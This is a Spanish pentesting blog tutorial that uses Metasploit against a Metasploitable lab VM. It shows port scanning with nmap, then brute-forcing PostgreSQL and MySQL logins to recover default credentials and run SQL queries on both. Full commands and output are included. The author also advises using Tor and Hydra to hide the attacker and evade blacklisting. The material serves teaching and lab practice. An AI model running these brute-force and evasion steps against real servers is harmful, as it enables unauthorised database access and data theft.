CONCEPTOS BASICOS DE PENETRACION BAJO PLATAFORMA GNU/LINUX (VULNERABLE) USANDO METASPLOIT FRAMEWORK – PARTE I
Descubriendo Servicios, Atacando PostgreSQL y MySQL Vulnerables
En las entradas anteriores, se han indicado algunas vulnerabilidades que se pueden explotar en un sistema windows (XP, 2003, Vista, 7, etc.) utilizando algunos de los exploits y módulos auxiliares existentes en MetaSploit Framework, en esta ocasión se intentará exponer algunas vulnerabilidades que existen en sistemas basados en GNU/Linux, que como el usuario podrá apreciar a lo largo de esta entrada, están relacionadas principalmente con malas configuraciones y malas practicas en la implantación de sistemas, por esta razón y algunas otras, GNU/Linux es actualmente uno de los sistemas operativos más potentes, estables y seguros del mundo.
Para demostrar estas vulnerabilidades, se ha utilizado MetaSploitable esta plataforma es una distribución basada en GNU/Linux con Ubuntu 8.04 ejecutando servicios mal configurados y con passwords por defecto y/o débiles, se trata de una distribución que le permite a un pentester aprender sobre lo que NO debería hacerse en un sistema GNU/Linux en términos de seguridad, en una entrada anterior de este blog se ha hecho referencia a esta distribución si el lector lo desea puede ver su contenido aquí
Detectando Servicios y puertos abiertos en la maquina remota:
Independiente de la plataforma que se intente penetrar, lo primero que un pentester debe conseguir, es precisamente información sobre la maquina objetivo, como el sistema operativo en ejecución, si existe algún balanceador de carga y sobre todo, los puertos abiertos y sus correspondientes servicios, para este fin es posible utilizar Nmap y la utilidad Dig, en entradas anteriores se ha indicado el uso de Nmap, puede verse parte 1 y parte 2
Sin embargo, en próximas entradas se profundizará mucho más sobre técnicas de escaneo contra maquinas remotas.
NOTA: Nuevamente se recalca que este tipo de acciones deben realizarse en un entorno de pruebas, dado que dependiendo de la normativa legal de cada país, realizar un escaneo de puertos contra una maquina remota sin consentimiento de su(s) propietario(s) puede ser considerada como una acción ilegal y condenable, en cualquier caso se aconseja utilizar Tor correctamente configurado y evitando “leaks” DNS, que es un problema frecuente cuando se utiliza Tor y no se tiene encuenta que Tor funciona sobre TCP mientras que cualquier petición DNS funciona sobre UDP dejando al descubierto trazas sobre la ubicación real del atacante. En una entrada anterior se ha indicado el uso de Nmap, proxychais y Tor para realizar un escaneo de puertos contra una maquina remota de forma anónima, (ver aquí)
Evidentemente se aconseja utilizar esta información de forma responsable, sin embargo recuerda, si cometes algún error y/o torpeza y te metes en un problema de índole legal, serás tu el que pague las consecuencias y no yo.
Bueno, después de esto asumiendo que la dirección de la víctima donde se encuentra MetaSploitable es 192.168.1.34, realizamos un escaneo de puertos y servicios en ejecución.
>nmap -sS -sV -p [1-65535]192.168.1.34 Starting Nmap 5.21 ( http://nmap.org ) at 2011-05-15 21:53 CEST Nmap scan report for 192.168.1.34 Host is up (0.00058s latency). Not shown: 988 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.1 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch) 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) 5432/tcp open postgresql PostgreSQL DB 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 MAC Address: 08:00:27:BA:AF:EF (Cadmus Computer Systems) Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.63 seconds |
La salida anterior ha lanzado los servicios que se encuentran en ejecución junto con su protocolo y correspondiente puerto, ahora es posible emplear la utilidad dig para comprobar si existe un balanceador de carga en la maquina remota.
>dig 192.168.1.34; <<>> DiG 9.7.1-P2 <<>> 192.168.1.34;; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 61205 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0 ;; QUESTION SECTION: ;192.168.1.34. IN A ;; AUTHORITY SECTION: . 86192 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2011051500 1800 900 604800 86400 ;; Query time: 96 msec ;; SERVER: 80.58.61.250#53(80.58.61.250) ;; WHEN: Sun May 15 21:40:40 2011 ;; MSG SIZE rcvd: 105 |
Como se puede apreciar, el resultado de la salida del comando dig, nos indica que se ha realizado una petición DNS contra la maquina remota y la solicitud solamente se ha redirigido por un solo nodo (la sección QUESTION SECTION) ademas también ha indicado algunas otras características relacionadas con las CA (Autoridades de Certificación/Confianza), con esto podemos asumir que no existe un balanceador de carga ni físico ni de software.
Si ejecutamos un dig contra www.google.com, encontraremos que la petición se ha redirigido por varios servidores DNS, lo que es un claro ejemplo de cuando probablemente existe un balanceador de carga en el objetivo.
>dig http://www.google.com; <<>> DiG 9.7.1-P2 <<>> http://www.google.com;; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64257 ;; flags: qr rd ra; QUERY: 1, ANSWER: 7, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;www.google.com. IN A ;; ANSWER SECTION: http://www.google.com. 604563 IN CNAME http://www.l.google.com. http://www.l.google.com. 63 IN A 209.85.227.103 http://www.l.google.com. 63 IN A 209.85.227.105 http://www.l.google.com. 63 IN A 209.85.227.106 http://www.l.google.com. 63 IN A 209.85.227.99 http://www.l.google.com. 63 IN A 209.85.227.147 http://www.l.google.com. 63 IN A 209.85.227.104 ;; Query time: 93 msec ;; SERVER: 80.58.61.250#53(80.58.61.250) ;; WHEN: Sun May 15 21:50:41 2011 ;; MSG SIZE rcvd: 148 |
Con esta información, (aunque en un ataque real, probablemente será un poco mas complicado que esto y se necesite un proceso de recolección de información mucho mas detallado) será suficiente para comenzar a intentar obtener acceso a la maquina remota.
Encontrando Vulnerabilidades sobre el servicio PostgreSQL (Puerto 5432)
Para encontrar vulnerabilidades sobre la configuración de la base de datos PostgreSQL instalada en el objetivo se procede a buscar y listar los módulos y/o exploits contenidos en MetaSploit framework relacionados con postgres:
msf > search postgres [*] Searching loaded modules for pattern ‘postgres’…Auxiliary=========Name Disclosure Date Rank Description —- ————— —- ———– admin/postgres/postgres_readfile normal PostgreSQL Server Generic Query admin/postgres/postgres_sql normal PostgreSQL Server Generic Query scanner/postgres/postgres_login normal PostgreSQL Login Utility scanner/postgres/postgres_version normal PostgreSQL Version Probe Exploits ======== Name Disclosure Date Rank Description —- ————— —- ———– windows/postgres/postgres_payload 2009-04-10 excellent PostgreSQL for Microsoft Windows Payload Execution |
Se ha encontrado solamente un exploit relacionado con PostgreSQL sin embargo, funciona para plataformas windows, no obstante es posible utilizar el modulo postgres_login.
msf > use auxiliary/scanner/postgres/postgres_login msf auxiliary(postgres_login) > show options Module options (auxiliary/scanner/postgres/postgres_login): Name Current Setting Required Description —- ————— ——– ———– BLANK_PASSWORDS true no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DATABASE template1 yes The database to authenticate against PASSWORD no A specific password to authenticate with PASS_FILE /opt/metasploit3/msf3/data/wordlists/postgres_default_pass.txt no File containing passwords, one per line RETURN_ROWSET true no Set to true to see query result sets RHOSTS yes The target address range or CIDR identifier RPORT 5432 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME postgres no A specific username to authenticate as USERPASS_FILE /opt/metasploit3/msf3/data/wordlists/postgres_default_userpass.txt no File containing (space-seperated) users and passwords, one pair per line USER_AS_PASS true no Try the username as the password for all users USER_FILE /opt/metasploit3/msf3/data/wordlists/postgres_default_user.txt no File containing users, one per line VERBOSE true yes Whether to print output for all attempts msf auxiliary(postgres_login) > set RHOSTS 192.168.1.34 RHOSTS => 192.168.1.34 msf auxiliary(postgres_login) > run [*] 192.168.1.34:5432 Postgres – Trying username:’postgres’ with password:» on database ‘template1’ [-] 192.168.1.34:5432 Postgres – Invalid username or password: ‘postgres’:» [-] 192.168.1.34:5432 Postgres – Username/Password failed. [*] 192.168.1.34:5432 Postgres – Trying username:» with password:» on database ‘template1’ [-] 192.168.1.34:5432 Postgres – Invalid username or password: »:» [-] 192.168.1.34:5432 Postgres – Username/Password failed. …………………………………….. [+] 192.168.1.34:5432 Postgres – Logged in to ‘template1’ with ‘postgres’:’postgres’ [+] 192.168.1.34:5432 Postgres – Success: postgres:postgres (Database ‘template1’ succeeded.) [*] 192.168.1.34:5432 Postgres – Disconnected |
Se ha conseguido una conexión con la base de datos usando usuario y clave débiles, evidentemente, en un entorno real se debe utilizar un diccionario más robusto y se recomienda utilizar THC Hydra para realizar ataques de fuerza bruta contra el servicio PostgreSQL, para obtener mas información sobre el uso de THC Hydra ver la entrada correspondiente a hydra aquí
Con esta información se puede utilizar el modulo postgres_sql de la siguiente forma:
msf auxiliary(postgres_sql) > use auxiliary/admin/postgres/postgres_sql msf auxiliary(postgres_sql) > show options Module options (auxiliary/admin/postgres/postgres_sql): Name Current Setting Required Description —- ————— ——– ———– DATABASE template1 yes The database to authenticate against PASSWORD no The password for the specified username. Leave blank for a random password. RETURN_ROWSET true no Set to true to see query result sets RHOST yes The target address RPORT 5432 yes The target port SQL select version() no The SQL query to execute USERNAME postgres yes The username to authenticate as VERBOSE false no Enable verbose output msf auxiliary(postgres_sql) > set PASSWORD postgres PASSWORD => postgres msf auxiliary(postgres_sql) > set RHOST 192.168.1.34 RHOST => 192.168.1.34 msf auxiliary(postgres_sql) > run Query Text: ‘select version()’ ============================== version ——- PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) [*] Auxiliary module execution completed |
Como puede apreciarse se ha ejecutado el comando SQL indicado en la opción habilitada para este fin, se puede ejecutar cualquier otra consulta con el objetivo de obtener información adicional sobre el servidor o datos contenidos en la base de datos.
Encontrando Vulnerabilidades sobre el servicio MySQL (Puerto 3306)
Siguiendo el mismo procedimiento llevado a cabo con el servicio de PostgreSQL, se buscan diferentes módulos y exploits relacionados con MySQL para medir el nivel de seguridad implementado en el objetivo.
msf > search mysql [*] Searching loaded modules for pattern ‘mysql’…Auxiliary=========Name Disclosure Date Rank Description —- ————— —- ———– admin/mysql/mysql_enum normal MySQL Enumeration Module admin/mysql/mysql_sql normal MySQL SQL Generic Query admin/tikiwiki/tikidblib 2006-11-01 normal TikiWiki information disclosure scanner/mysql/mysql_login normal MySQL Login Utility scanner/mysql/mysql_version normal MySQL Server Version Enumeration Exploits ======== Name Disclosure Date Rank Description —- ————— —- ———– linux/mysql/mysql_yassl_getname 2010-01-25 good MySQL yaSSL CertDecoder::GetName Buffer Overflow linux/mysql/mysql_yassl_hello 2008-01-04 good MySQL yaSSL SSL Hello Message Buffer Overflow windows/mysql/mysql_payload 2009-01-16 excellent Oracle MySQL for Microsoft Windows Payload Execution windows/mysql/mysql_yassl_hello 2008-01-04 average MySQL yaSSL SSL Hello Message Buffer Overflow |
También se puede utilizar el modulo mysql_version para identificar la versión exacta de MySQL
msf > use auxiliary/scanner/mysql/mysql_version msf auxiliary(mysql_version) > show options Module options (auxiliary/scanner/mysql/mysql_version): Name Current Setting Required Description —- ————— ——– ———– RHOSTS yes The target address range or CIDR identifier RPORT 3306 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(mysql_version) > set RHOSTS 192.168.1.34 RHOSTS => 192.168.1.34 msf auxiliary(mysql_version) > run [*] 192.168.1.34:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed |
Por otro lado se puede especificar un ataque de fuerza bruta para intentar capturar las credenciales de acceso con el modulo mysql_login
msf > use auxiliary/scanner/mysql/mysql_login msf auxiliary(mysql_login) > show options Module options (auxiliary/scanner/mysql/mysql_login): Name Current Setting Required Description —- ————— ——– ———– BLANK_PASSWORDS true no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 PASSWORD no A specific password to authenticate with PASS_FILE no File containing passwords, one per line RHOSTS 192.168.1.34 yes The target address range or CIDR identifier RPORT 3306 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS true no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts msf auxiliary(mysql_login) > set USER_FILE /home/adastra/UTILITIES/userlist.lst USER_FILE => /home/adastra/UTILITIES/userlist.lst msf auxiliary(mysql_login) > set PASS_FILE /home/adastra/UTILITIES/userPass.lst PASS_FILE => /home/adastra/UTILITIES/userPass.lst msf auxiliary(mysql_login) > run [*] 192.168.1.34:3306 – Found remote MySQL version 5.0.51a [*] 192.168.1.34:3306 Trying username:’admin’ with password:» [*] 192.168.1.34:3306 failed to login as ‘admin’ with password » [*] 192.168.1.34:3306 Trying username:’root’ with password:» ………………………………. [*] 192.168.1.34:3306 Trying username:’root’ with password:’root’ [+] 192.168.1.34:3306 – SUCCESSFUL LOGIN ‘root’ : ‘root’ [*] 192.168.1.34:3306 Trying username:’1234′ with password:’1234′ [*] 192.168.1.34:3306 failed to login as ‘1234’ with password ‘1234’ |
Como puede apreciarse se ha obtenido nuevamente unas credenciales de acceso a la base de datos validas para realizar una conexión, ahora puede utilizarse el modulo mysql_sql
msf auxiliary(mysql_login) > use auxiliary/admin/mysql/mysql_sql msf auxiliary(mysql_sql) > show options Module options (auxiliary/admin/mysql/mysql_sql): Name Current Setting Required Description —- ————— ——– ———– PASSWORD no The password for the specified username RHOST yes The target address RPORT 3306 yes The target port SQL select version() yes The SQL to execute. USERNAME no The username to authenticate as msf auxiliary(mysql_sql) > set PASSWORD root PASSWORD => root msf auxiliary(mysql_sql) > set RHOST 192.168.1.34 RHOST => 192.168.1.34 msf auxiliary(mysql_sql) > set USERNAME root USERNAME => root msf auxiliary(mysql_sql) > run [*] Sending statement: ‘select version()’… [*] | 5.0.51a-3ubuntu5 | [*] Auxiliary module execution completed |
Del mismo modo que se ha conseguido ejecutar una consulta SQL para obtener la versión del servidor, se puede ejecutar cualquier tipo de consulta para recuperar cualquier tipo de información que se encuentre almacenada en dicha base de datos o inclusive realizar una conexión directamente a la base de datos.
Al igual que con el servicio de postgresql explicado en lineas anteriores, para un ataque y/o prueba de penetración mas elaborado se aconseja utilizar THC Hydra, principalmente para no degradar la prestación del servicio objetivo, evitar que el ataque sea detectado, o simplemente que la IP del atacante/pentester sea marcada en la blacklist del servidor objetivo y sus conexiones sean rechazadas directamente. Ver aquí
En la próxima entrada se indicará exactamente como esta información es útil para comprometer otros servicios.
Hola, solo comentarte que cuando clicko en el enlace sobre Nmap, proxychais y Tor me reenvia a una pagina que dice que no hay ningun dato relacionado. Es un error mio o vuestro .
Gracias.
Me gustaMe gusta